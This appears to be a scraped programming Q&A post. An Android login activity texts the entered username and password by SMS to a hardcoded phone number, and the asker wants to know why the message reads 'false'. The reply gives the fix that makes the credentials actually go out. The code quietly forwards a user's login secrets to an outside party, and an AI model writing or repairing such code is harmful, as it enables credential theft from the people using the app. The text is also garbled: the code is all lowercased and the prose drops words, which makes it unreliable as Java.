android - why get text returns false? -

i wrote send username , password, returns false. why?

it sent message phone : user:falsepass:false

i have tried char,charsequense,string,... returns false

package com.example.project6; import android.app.activity; import android.os.bundle; import android.telephony.gsm.smsmanager; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.edittext; import android.widget.imageview; import android.widget.toast;  @suppresswarnings("deprecation") public class login extends activity {     private imageview imageview;     private edittext username;     private edittext password;     private button save;     private string user;     private string pass;     @override     protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.login);     init();  }  private void init() {     // todo auto-generated method stub     imageview = (imageview)findviewbyid(r.id.imageview);     username=((edittext)findviewbyid(r.id.username));     password=((edittext)findviewbyid(r.id.password));     save = (button)findviewbyid(r.id.save);     save.setonclicklistener(new onclicklistener() {         @override         public void onclick(view arg0) {             // todo auto-generated method stub             user = gettext(r.id.username).tostring();             pass = gettext(r.id.password).tostring();             smsmanager smsmanager = smsmanager.getdefault();             smsmanager.sendtextmessage("+989132249093", null, "user:"+user+"pass:"+pass, null, null);             toast.maketext(login.this,user, toast.length_long).show();             toast.maketext(login.this,pass, toast.length_long).show();             toast.maketext(login.this,"sent", toast.length_long).show();             }         });     } } 

please me thanks

try this...

user = username.gettext().tostring(); pass = password.gettext().tostring(); 

gettext(int resid) return localized, styled charsequence application's package's default string table. if have string declared in strings.xml file returns string else returns false.